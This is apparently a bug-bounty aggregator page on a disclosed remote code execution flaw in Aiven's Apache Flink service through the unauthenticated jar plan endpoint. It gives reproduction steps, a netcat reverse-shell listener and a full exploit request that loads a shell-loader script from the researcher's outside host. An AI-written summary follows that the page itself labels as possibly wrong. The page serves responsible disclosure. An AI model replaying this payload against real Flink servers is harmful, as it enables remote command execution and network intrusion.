Apache Flink RCE via GET jar/plan API Endpoint
The GET jars/{jar_id}/plan endpoint on an Apache Flink instance was not access-restricted, so it could be used to load arbitrary Java classes with attacker-supplied arguments from the server classpath. An attacker could use this to run commands on the Flink server and obtain a reverse shell.
- Triaged in 43 hours
- Fixed in 3 days
- Paid in 48 hours
- Disclosed after 11 months
Summary:
Aiven has not restricted access to the GET jars/{jar_id}/plan API. This endpoint can be used to load java class files with the specified arguments that are in the java classpath on the server. This can be abused to gain RCE on the Apache Flink Server.
Steps To Reproduce:
The video below shows how to setup the Apache Flink instance and run the PoC. Feel free to use my VPS which will make triaging somewhat easier (ssh ████████, password: ██████):
█████████
- Login to my aiven account:
████, password:██████ - Run the SQL job as demonstrated in the video
- Open the Flink Web UI and verify that there is a new job in the jobs panel.
- Setup netcat reverse shell listener on the VPS:
nc -n -lvp 8888 - Update the poc.py variables to match your instance, if you are not using my Apache Flink instance
- Run the poc:
python3 poc.py - Reverse shell connection should pop up
- After connection has been closed, the Apache Flink will crash, so the Aiven service daemon will have to restart it. Because of this, you have to run new SQL job after every time you run the poc script
API Request
Here's the HTTP API request that exploits the issue:
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")¶llelism=1 HTTP/1.1
Host: ████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic █████
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9,fi;q=0.8
Impact
Attacker can execute commands on the server and use this access to potentially pivot into other resources in the network.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the plan endpoint accepted an entry-class and program arguments from the request and loaded that class from the server classpath without restricting which classes or arguments were allowed.
Impact
An attacker could execute commands on the server and potentially pivot into other resources in the network; the Flink service crashes after the shell closes and must be restarted.
What the attacker needed
Access to a Flink instance with the plan endpoint; valid credentials for the API
How it was found
- Log in to the Aiven account and run the SQL job as shown in the video.
- Open the Flink Web UI and confirm a new job appears in the jobs panel.
- Start a netcat listener on the VPS.
- Update the PoC script variables to match the target instance.
- Run the PoC script.
- A reverse shell connection appears.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Apache Flink is a system for running data-processing jobs. One of its web API endpoints let a caller pick which Java class to start and pass it arguments, without checking who was asking. Because some classes already on the server can run commands, an attacker could make the server start a shell that connects back to them.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.